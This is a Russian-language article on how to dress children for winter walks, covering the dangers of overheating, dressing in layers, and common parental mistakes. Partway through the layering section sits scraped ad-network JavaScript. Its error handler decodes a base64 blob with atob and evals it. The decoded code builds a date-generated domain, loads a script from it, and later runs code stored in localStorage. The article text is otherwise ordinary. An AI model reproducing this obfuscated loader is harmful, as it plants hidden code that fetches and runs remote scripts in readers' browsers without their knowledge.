Часто в зимний период родители стараются слишком укутать ребенка и одеть его в самую теплую одежду. Но педиатры в один голос твердят, что это неправильно. Перегрев на зимней улице еще более опасен, чем переохлаждение. Потому зимой нужно грамотно подбирать тот набор детских вещей, который обязательно пригодится. А также одевать малыша правильно и не допускать распространенных ошибок родителей. Разбираемся во всех нюансах подробнее.
Почем нельзя укутывать детей?
Что надеть на малыша зимой дома, в детском саду или в школе, зависит только от того, насколько хорошее там отопление и насколько тепло в помещении. А вот с тем, как одеть ребенка на улицу, порой возникают трудности. Педиатры советуют одевать ребенка так же, как одевается взрослый, максимум — добавить еще одну вещь или еще один слой одежды для самых маленьких. Нужно не забывать, конечно же, о шапках, шарфах, рукавицах, чтобы не переохладились голова и ноги, ведь именно они обладают самой высокой терморегуляцией. Но и перегрев тоже опасен не менее, чем переохлаждение! Почему?
У маленьких детей плохо развита терморегуляция тела. Если надеть на него очень теплые вещи, и при этом будет еще и активно двигаться, температура тела может повыситься вплоть до 38- 39 градусов Цельсия. Обилие вещей влечет за собой еще и переохлаждение. Ведь в тех же очень теплых вещах малыш может вспотеть, одежда впитает влагу, прилипнет к телу, и на холоде может привести к простуде и воспалениям. К тому же, незакаленный, привыкший к постоянному пребыванию в тепле организм, будет просто неспособен приспособиться к условиям окружающей среды, не будет справляться с холодом, и ребенок будет мерзнуть постоянно.
Сколько слоев одежды должно быть?
Как мы сказали выше, на малыша нужно надеть столько же слоев одежды, как и на взрослого, максимум — прибавить еще один слой. Почему важно одеваться послойно? Между каждым следующим слоем одежды создается воздушная прослойка. Именно она удерживает тепло внутри, а далеко не сама одежда, какой бы теплой она ни была. Количество слоев, конечно же, будет определяться также и возрастом малыша. Ведь новорожденному, который не двигается, требуется гораздо больше теплых вещей, чем активному ребенку, который не сидит на одном месте. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Итак, вот из каких слоев должна состоять зимняя экипировка малыша для прогулки.
Первый слой: нижнее белье и термобелье. Для самых маленьких это памперс или подгузник, боди (желательно с длинным рукавом), ползунки или детский хлопковый комбинезон-человечек. Для более старших деток — трусы и майка, кальсоны или колготки, майку можно заменить лонгслива с длинным рукавом. Для малышей выбирайте хлопок, для активных старших деток — термобелье из высокотехнологичной синтетики.Второй слой: базовая одежда. Для малышей это детские комбинезоны или комплекты из штанишек и кофты, но уже из более теплого материала, например, флиса или трикотажа с начесом. Для детей, которые будут активно бегать, прыгать и играть на улице, можно ограничиться более теплой водолазкой или толстовкой, а вторые штаны не одевать.Третий слой: верхняя одежда. Подростки могут надеть и джинсы с курточкой, но если предполагаются игры в снегу младших детей или длительные прогулки, это должен быть комбинезон или костюм. Для новорожденных, которые еще ездят в коляске и не ходят самостоятельно, подойдет конверт или полукомбинезон с цельным низом. Для старших деток — комбинезон на подтяжках и куртка или брюки и куртка из теплого непромокаемого материала на утеплителе. Как НЕ надо одевать малыша зимой: основные ошибки
А вот еще и перечень ошибок, которые родители допускают чаще всего при одевании детей на зимнюю прогулку: (adsbygoogle = window.adsbygoogle || []).push({});
приобретают одежду и обувь на вырост — в такой ребенку будет неудобно, объемные вещи могут поддуваться ветром;приобретают одежду впритык — такая одежда будет стеснять движения, ремни и застежки могут передавливать тело, кровь будет плохо циркулировать и малыш замерзнет;приобретают обувь впритык — ноги будут постоянно мерзнуть, кровь будет плохо в них поступать, может дойти даже до обморожения (оптимально для зимы купить ботинки или сапожки максимум на 0,3-0,5 см больше длины стопы);закрывают лицо шарфом (особенно шерстяным!) — от теплого дыхания шарф мокнет и замерзает при морозе, появляются раздражения и шелушение;одевают на детей громоздкую и тяжелую верхнюю одежды на ватине, шерстяном утеплителе — такая не греет хорошо, а только затрудняет движения;сначала одевают ребенка перед выходом на улицу, а потом одеваются сами — ребенку станет жарко, он перегреется в помещении, начнет капризничать;не раздевают ребенка в отапливаемых помещениях — заходя надолго в торговый центр, обязательно снимите с малыша курточку и шапку, чтобы он не перегрелся. Источник: https://akzent.zp.ua/kak-pravilno-odevat-rebenka-zimoj-osnovnye-oshibki-i-glavnye-pravila/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
